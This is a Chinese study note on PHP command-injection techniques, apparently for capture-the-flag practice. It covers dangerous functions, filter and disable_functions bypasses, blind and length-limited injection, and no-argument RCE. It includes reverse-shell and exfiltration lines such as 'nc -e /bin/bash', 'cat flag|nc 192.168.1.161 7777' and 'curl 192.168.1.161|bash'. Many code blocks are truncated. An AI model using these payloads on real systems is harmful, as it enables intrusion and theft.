命令执行
命令执行函数
system
system(string $command,int &$return_val=?)
常用参数:command:执行command参数所指定2的命令,并且输出执行结果
如果提供return_var参数,则外部命令执行后的返回状态将会被设置到此变量中
exec
exec(string $command,array&$output=?,int&$return_car=?)
command参数:要执行的命令。单独使用时只有最后一行结果,且不会回显
output参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组
需借用print_r输出结果
passthru
passthru(string $command,int &$return_var=? )
command 参数:要执行的命令
输出二进制数据,并且需要直接传送到浏览器
shell_exec
shell_exec(string $cmd)
cmd 参数:要执行的命令
环境执行命令,并且将完整的输出以字符串的方式返回。功能等同于反引号
借用 echo ,print返回输出结果
反引号
反引号`cmd `
在无字母,无数字的回显中使用极多
反引号也能执行系统指令
用echo/print来输出
popen
popen(string $command,string $mode)
commmand:要执行的命令
mode:模式。‘r’表示阅读,‘w’表示写入
fgets获取内容->print_r输出内容
了解,跟popen函数差不多:proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
前三个参数是必要的
command:要执行的命令
descriptor_spec:定义数组的内容
pipes:调用数组内容
pcntl_exec
pcntl_exec(string $path,array$args=?,array$envs=?)
path必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/user/local/bin/perl的perl脚本)
args是一个要传递给程序的参数的字符串数组
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
在当前进程空间执行指定程序
替换绕过函数
1 | <?php |
没有过滤passthru,使用passthru(“ls”),查看目录
再次使用passthru(“cat flag.php”)在源码里查看flag文件
LD_PRELOAD绕过原理(不懂,不理解)
使用场景:disable_functions禁用所有肯用到命令执行的函数
mail()
绕过条件
能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数未被禁止
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等。
构造payload
mail函数——调用子程序“/user/sbin/sendmail”——调动态链接库geteuid函数
EVIL_CMDLINE
执行其他命令
蚁剑及pcntl绕过函数过滤
蚁剑
使用工具
pcntl_exec函数
pcntl_exec(string $path,array$args=?,array$envs=?)
path必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/user/local/bin/perl的perl脚本)
args是一个要传递给程序的参数的字符串数组
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
在当前进程空间执行指定程序
path:/bin/bash args:-c/bin/ls
info信息:没有禁用pcntl_exec函数
pcntl_exec函数没有回显
解决方法一:cat文件并输出到有权限读取路径;
解决方法二:shell反弹
操作系统连接符
;
使多个命令按顺序执行
前面的命令和后面的命令都会执行
&
使命令在后台运行
这样就可以同时执行多条命令
&&
若果前面的命令执行成功
则执行后面的命令
|
将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数
前面的命令和后面的命令都会执行,但只显示后面的命令执行结果
||
类似于程序中的if-else语句
若前面的命令执行失败,则后面的命令就不会执行
若前面的命令执行失败,则执行后面的命令
空格过滤绕过
绕过方法
1.大括号{cat,flag.txt};
2.$IFS代替空格;$IFS,${IFS},$IFS$9
linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符
例子:
1 | ?cmd=ls$IFS-l |
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
例子
1 | ?cmd=ls${IFS}-l |
*$IFS$9-后面加个$与{}类似,起截断作用,$9是当前系统shell进程的第九个参数的持有者,始终为空字符
例子
1 | ?cmd=ls$IFS$9-l |
3.重定向字符<,<>;
“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备
1 | ?cmd=cat<flag.php |
4.url编码 %09(TAB),%20(space);
1 | ?cmd=cat%09flag.php |
文件名过滤绕过
绕过方法
1.通配符?*绕过
通配符是一种特殊语句,主要有问号和星号,用来模糊搜索文件
?在linux里面可以进行代替字母。?仅代表単个字符串,但此单字必须存在
1 | #cat fl?g.tx? |
*在linux里面可以进行模糊匹配。*可以代表任何字符串
2.単引号,双引号绕过
1 | system('cat fl""ag.p""hp'); |
3.反斜杠\绕过
把特殊字符去掉功能性,单纯表示为字符串
system(‘cat fl\ag.p\hp’);
4.特殊变量:$1到$9、$@和$*等
输出为空
cat fl$1ag.t$9xt
5.内联执行
自定义字符串,再拼接起来
a=f;d=ag;c=l;cat$a$c$d.txt
6.利用linux中的环境变量
常见文件读取命令绕过
1 | more:一页一页的显示档案内容 |
编码绕过
绕过方法
1.base64编码
1 | import base64 |
2.base32编码
1 | import base64 |
base32和Base64的区分方法
看到编码内容,只有大写和数字
根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567
3.hex编码
1 | import binascii |
4.shellcode编码
1 | 将ascll码前加\x |
无回显时间盲注
页面无法shell反弹或者无法回显,或者没有权限,可尝试命令盲注
更具返回的时间来进行判断
读取文件指定行的指定位置的字符
相关命令
1.sleep
1 | sleep 5 5秒后返回结果 |
2.cat+awk NR awk逐行获取数据
3.cut -c cut 命令逐列获取単个字符
4.if判断命令是否执行
5.脚本
长度过滤绕过
相关命令
1.>和>>符号
1)通过>来创建文件
1 | echo benben>a |
创建文件a,
并把字符串‘benben’写入到文件a里面;
注意:通过>来讲命令执行结果写入文件会覆盖掉文件原本的内容
1 | echo dazhuang>a |
a中的内容就会由benben变为dazhuang
单独使用>,会直接创建文件b
2)通过>>来追加内容
1 | echo benben>>a |
在原本文件内容后面追加“benben”
2.命令换行
在没有写完的命令后面加“\”,可以将一条命令写在多行:
1 | #cat a |
相当于\把换行的命令连接到一起执行
3. ls -t命令
将文件名按照时间顺序排列出来(后创建的排在前面)
1 | ls |
按字母顺序显示文件名
1 | ls -t |
按时间顺序显示文件名(后创建的排在前面)
只能精确到秒
4.组合运用
执行文件方法
1 | .a或者sh a |
对命令长度有限制时
把一些很短的文件名拼接成可执行命令
>创建很短的的文件名
ls -t按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令
5.dir及*和rev
dir:基本上和ls一样,但有两个好处
一是开头字母是d,这使得它在alphabetical序中靠前;
二是按列输出,不换行
*****:相当于$(dir *)
把文件名组合在一起当作命令执行
rev:可以反转文件的每一行内容
1 | cat flag |
长度限制为7的绕过方法
思路:1.先寻找期望执行的命令
1 | cat flag|nc 192.168.1.161 7777 |
kail的ip地址192.168.1.161
监听端口7777
1 | 方法 |
通过cat flag展示内容,再通过nc反弹,提交到192.168.1.161:777,最后通过监听端口获得内容
用以下方法进行拼接
>创建很短的的文件名
ls -t按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令
最后用sh a执行命令
nc反弹shell
在 Kali Linux 上监听连接
1 | nc -lvp <监听端口> |
在目标主机上发起连接请求
linux
1 | nc -e /bin/bash <kali的IP> <kali监听端口> |
windows
1 | nc -e cmd.exe <kali的IP> <kali监听端口> |
长度限制为5的绕过方法
1 | ls -t>a |
构建命令
1 | 期望执行的命令 |
步骤一:构造ls-t>y
ls默认排序无法正常排出“ls\””"“-t"“>y"
“ls"默认会排在最后,无法正常执行命令的
所以:我们先创建文件ls\
1 | >ls\ |
在创建文件”_”,并把“ls\”写入
1 | ls>_ |
再创建其他文件
1 | >\ \\ |
用>>把所有文件名追加到文件_
1 | ls>>_ |
最后sh_执行文件_中的内容,即创建文件y
1 | sh_ |
步骤二:分解命令,创建文件
步骤三:执行脚本sh
1 | sh y |
执行命令curl 192.168.1.161|bash
反弹shell
长度限制为4的绕过方法
1 | ls>>_ |
步骤一:构造ls -t>g
1 | >g\; |
步骤二:构造一个反弹的shell
ip地址用16进制表示
1 | >ash |
步骤三:开启http.server监听80端口
1 | #python -m http.server 80 |
步骤四:执行脚本
1 | #python poc4.py |
无参数命令执行请求头绕过
1 | preg_replace('/[^\W]+\((?R)?\)/', $_GET['exp']) |
HTTP请求标头
getallheaders()
获取所有请求标头(跟抓包内容是反着的)
1 | ?code=print_r(getallheaders()); |
pos()把第一项内容的值显示出来
或end()把最后一项内容的值显示出来
1 | ?code=print_r(pos(getallheaders())); pos拿到的的getallheaders显示的第一个 |
把print_r改为eval就能执行命令了
apache_request_headers()
功能与getallheaders()相似,适用于apache服务器
无参数全局变量RCE
get_defined_vars()
返回所有已定义变量的值所组成的数组
1 | ?code=print_r(get_defined_vars)); |
1 | var_dump(scandir(current(localeconv()))); |
无参数命令执行session
使用条件:php7以下
session_start()
启动新会话或者重用现有会话,成功开始会话返回true,反之返回false
1 | ?code=print_r(session_start()); |
print_r修改为show_source(session_id(session_start))
用show_source读取flag文件源代码
修改外部函数为eval()
修改PHPSESSID为‘phpinfo();’
但无法直接执行,需要把phpinfo();改为hex编码后再用hex2bin()函数将16进制转为2进制,才可用eval执行